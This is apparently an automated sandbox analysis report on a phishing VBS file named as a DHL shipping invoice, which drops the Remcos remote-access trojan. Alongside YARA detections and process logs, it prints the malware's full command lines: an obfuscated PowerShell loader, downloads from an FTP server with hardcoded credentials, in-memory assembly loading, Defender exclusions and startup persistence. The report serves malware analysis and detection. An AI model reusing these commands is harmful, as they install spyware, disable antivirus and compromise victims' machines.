Source: 13.2.powershell.exe.1ab996e87d0.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 13.2.powershell.exe.1ab996e87d0.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 26.2.powershell.exe.1c222be89d8.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 26.2.powershell.exe.1c222be89d8.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 26.2.powershell.exe.1c222be89d8.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 13.2.powershell.exe.1ab996e87d0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 13.2.powershell.exe.1ab996e87d0.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 19.2.powershell.exe.1e3b1478da0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 19.2.powershell.exe.1e3b1478da0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 26.2.powershell.exe.1c222be89d8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 26.2.powershell.exe.1c222be89d8.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 35.2.powershell.exe.1a8905a8228.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 35.2.powershell.exe.1a8905a8228.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 40.2.powershell.exe.1b33d0e6cd0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 40.2.powershell.exe.1b33d0e6cd0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000D.00000002.2290132644.000001AB99151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000013.00000002.2364592750.000001E3B1150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000D.00000002.2290132644.000001AB99541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000028.00000002.2788200178.000001B33CDBE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000023.00000002.2563409063.000001A890401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000001A.00000002.2531838956.000001C222A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 1800, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 1928, type: MEMORYSTR	Matched rule: Invoke_Mimikatz date = 2016-08-03, hash1 = f1a499c23305684b9b1310760b19885a472374a286e2f371596ab66b77f6ab67, author = Florian Roth, description = Detects Invoke-Mimikatz String, reference = https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: powershell.exe PID: 1928, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7820, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7820, type: MEMORYSTR	Matched rule: Invoke_Mimikatz date = 2016-08-03, hash1 = f1a499c23305684b9b1310760b19885a472374a286e2f371596ab66b77f6ab67, author = Florian Roth, description = Detects Invoke-Mimikatz String, reference = https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: classification engine

Classification label: mal100.rans.spre.phis.troj.spyw.expl.evad.winVBS@61/45@6/5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 29_2_004182CE GetLastError,FormatMessageW,FormatMessageA,LocalFree,free,

29_2_004182CE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0041798D GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,		23_2_0041798D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_00410DE1 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueA,GetProcAddress,AdjustTokenPrivileges,CloseHandle,		31_2_00410DE1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 29_2_00418758 GetDiskFreeSpaceW,GetDiskFreeSpaceA,free,

29_2_00418758

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_0040F4AF GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

23_2_0040F4AF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_0041B539 FindResourceA,LoadResource,LockResource,SizeofResource,

23_2_0041B539

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

23_2_0041AADB

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\x11.ps1

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8012:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8016:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5868:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3872:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7668:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Mutant created: \Sessions\1\BaseNamedObjects\shietgtst-DDGG2A
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6660:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gmrxwny3.fc5.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

System information queried: HandleInformation

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: AddInProcess32.exe	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: AddInProcess32.exe	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: AddInProcess32.exe	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: AddInProcess32.exe	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: AddInProcess32.exe	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: AddInProcess32.exe	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Evasive API call chain: __getmainargs,DecisionNodes,exit

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAGIAMg' + [char]66 + 'jAGEAcw' + [char]66 + 'lAC4AYw' + [char]66 + 'vAG0ALw' + [char]66 + 'jAGwAYQ' + [char]66 + 'zAHMALg' + [char]66 + '0AHgAdAAnACAAKAAgAF0AXQ' + [char]66 + 'bAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'vAFsAIAAsACAAbA' + [char]66 + 'sAHUAbgAkACAAKA' + [char]66 + 'lAGsAbw' + [char]66 + '2AG4ASQAuACkAIAAnAEkAVg' + [char]66 + 'GAHIAcAAnACAAKA' + [char]66 + 'kAG8AaA' + [char]66 + '0AGUATQ' + [char]66 + '0AGUARwAuACkAJwAxAHMAcw' + [char]66 + 'hAGwAQwAuADMAeQ' + [char]66 + 'yAGEAcg' + [char]66 + 'iAGkATA' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMAJwAoAGUAcA' + [char]66 + '5AFQAdA' + [char]66 + 'lAEcALgApACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAOg' + [char]66 + 'dAG4AaQ' + [char]66 + 'hAG0Abw' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwA7ACkAIAApACAAJw' + [char]66 + '' + [char]66 + 'ACcAIAAsACAAJwCTIToAkyEnACAAKA' + [char]66 + 'lAGMAYQ' + [char]66 + 'sAHAAZQ' + [char]66 + 'SAC4AZw' + [char]66 + 'TAHoAQw' + [char]66 + 'CAGwAJAAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMANAA2AGUAcw' + [char]66 + 'hAEIAbQ' + [char]66 + 'vAHIARgA6ADoAXQ' + [char]66 + '0AHIAZQ' + [char]66 + '2AG4Abw' + [char]66 + 'DAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'aAGMAQg' + [char]66 + 'jAGEAJAAgAF0AXQ' + [char]66 + 'bAGUAdA' + [char]66 + '5AEIAWwA7ACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAPQAgAFgAUA' + [char]66 + 'VAHUAaAAkADsAKQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHoAeA' + [char]66 + 'iAGsAbQAkACAAPQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAOwA4AEYAVA' + [char]66 + 'VADoAOg' + [char]66 + 'dAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHQAeA' + [char]66 + 'lAFQALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHoAeA' + [char]66 + 'iAGsAbQAkADsAKQ' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAVwAuAHQAZQ' + [char]66 + 'OACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAE8ALQ' + [char]66 + '3AGUATgAoACAAPQAgAHoAeA' + [char]66 + 'iAGsAbQAkADsAKQAoAGUAcw' + [char]66 + 'vAHAAcw' + [char]66 + 'pAGQALg' + [char]66 + '6AHgAYg' + [char]66 + 'rAG0AJAA7ACkAIAAnAHQAeA' + [char]66 + '0AC4AMQAwAEwATA' + [char]66 + 'EAC8AMQAwAC8Acg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [ch
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $QDrfV = $host.Version.Major.Equals(2) ;if ( $QDrfV ) {$TZWou = [System.IO.Path]::GetTempPath();del ( $TZWou + '\Upwin.msu' );$rrlqq = 'https://drive.google.com/uc?export=download&id=';$qVgWD = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVgWD ) {$rrlqq = ($rrlqq + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$rrlqq = ($rrlqq + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yzdrg = (New-Object Net.WebClient);$yzdrg.Encoding = [System.Text.Encoding]::UTF8;$yzdrg.DownloadFile($URLKB, $TZWou + '\Upwin.msu');$mcYDf = ('C:\Users\' + [Environment]::UserName );tkplB = ($TZWou + '\Upwin.msu'); powershell.exe wusa.exe tkplB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs' -Destination ( $mcYDf + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$mkbxz.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),(-join [char[]](66, 70, 119, 71 ,121 ,97 ,85,66,77,89,49,53,55,56,64,64 )));$lBCzSg = $mkbxz.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mkbxz.dispose();$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mkbxz.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.ssalc/moc.esac2b//:sptth' , $huUPX , 'D D1D' ) );};"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x11.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x22.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c del "C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs"
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
